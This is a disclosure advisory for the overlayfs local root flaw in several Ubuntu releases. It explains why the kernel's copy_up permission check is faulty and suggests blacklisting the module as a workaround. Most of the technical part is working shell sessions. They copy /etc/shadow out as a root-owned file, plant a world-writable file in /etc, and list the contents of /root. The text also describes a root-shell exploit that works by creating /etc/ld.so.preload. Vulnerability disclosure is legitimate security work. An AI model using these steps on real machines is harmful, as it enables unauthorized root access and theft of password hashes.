Ubuntu 12.04, 14.04, 14.10, 15.04 - overlayfs Local Root

The overlayfs filesystem does not correctly check file permissions when
creating new files in the upper filesystem directory. This can be exploited
by an unprivileged process in kernels with CONFIG_USER_NS=y and where
overlayfs has the FS_USERNS_MOUNT flag, which allows the mounting of overlayfs
inside unprivileged mount namespaces. This is the default configuration of
Ubuntu 12.04, 14.04, 14.10, and 15.04 [1].

If you don't want to update your kernel and you don't use overlayfs, a viable
workaround is to just remove or blacklist overlayfs.ko / overlay.ko.

(ASM)

Details
================================

>From Documentation/filesystems/overlayfs.txt [2]:

"Objects that are not directories (files, symlinks, device-special
files etc.) are presented either from the upper or lower filesystem as
appropriate.  When a file in the lower filesystem is accessed in a way
the requires write-access, such as opening for write access, changing
some metadata etc., the file is first copied from the lower filesystem
to the upper filesystem (copy_up)."

The ovl_copy_up_* functions do not correctly check that the user has
permission to write files to the upperdir directory. The only permissions
that are checked is if the owner of the file that is being modified has
permission to write to the upperdir. Furthermore, when a file is copied from
the lowerdir the file metadata is carbon copied, instead of attributes such as
owner being changed to the user that triggered the copy_up_* procedures.

Example of creating a 1:1 copy of a root-owned file:

(Note that the workdir= option is not needed on older kernels)

[email protected]:~$ ./create-namespace
[email protected]:~# mount -t overlay -o
lowerdir=/etc,upperdir=upper,workdir=work overlayfs o
[email protected]:~# chmod 777 work/work/
[email protected]:~# cd o
[email protected]:~/o# mv shadow copy_of_shadow
(exit the namespace)
[email protected]:~$ ls -al upper/copy_of_shadow
-rw-r----- 1 root shadow 1236 May 24 15:51 upper/copy_of_shadow
[email protected]:~$ stat upper/copy_of_shadow /etc/shadow|grep Inode
Device: 801h/2049d      Inode: 939791      Links: 1
Device: 801h/2049d      Inode: 277668      Links: 1

Now we can place this file in /etc by switching "upper" to be the lowerdir
option, the permission checks pass since the file is owned by root and root
can write to /etc.

[email protected]:~$ ./create-namespace
[email protected]:~# mount -t overlay -o
lowerdir=upper,upperdir=/etc,workdir=work overlayfs o
[email protected]:~# chmod 777 work/work/
[email protected]:~# cd o
[email protected]:~/o# chmod 777 copy_of_shadow
[email protected]:~/o# exit
[email protected]:~$ ls -al /etc/copy_of_shadow
-rwxrwxrwx 1 root shadow 1236 May 24 15:51 /etc/copy_of_shadow

The attached exploit gives a root shell by creating a world-writable
/etc/ld.so.preload file. The exploit has been tested on the most recent
kernels before 2015-06-15 on Ubuntu 12.04, 14.04, 14.10 and 15.04.

It is also possible to list directory contents for any directory on the system
regardless of permissions:

[email protected]:~$ ls -al /root
ls: cannot open directory /root: Permission denied
[email protected]:~$ mkdir o upper work
[email protected]:~$ mount -t overlayfs -o
lowerdir=/root,upperdir=/home/user/upper,workdir=/home/user/work
overlayfs /home/user/o
[email protected]:~$ ls -al o 2>/dev/null
total 8
drwxrwxr-x 1 root nogroup 4096 May 24 16:33 .
drwxr-xr-x 8 root nogroup 4096 May 24 16:33 ..
-????????? ? ?    ?          ?            ? .bash_history
-????????? ? ?    ?          ?            ? .bashrc
d????????? ? ?    ?          ?            ? .cache
-????????? ? ?    ?          ?            ? .lesshst
d????????? ? ?    ?          ?            ? linux-3.19.0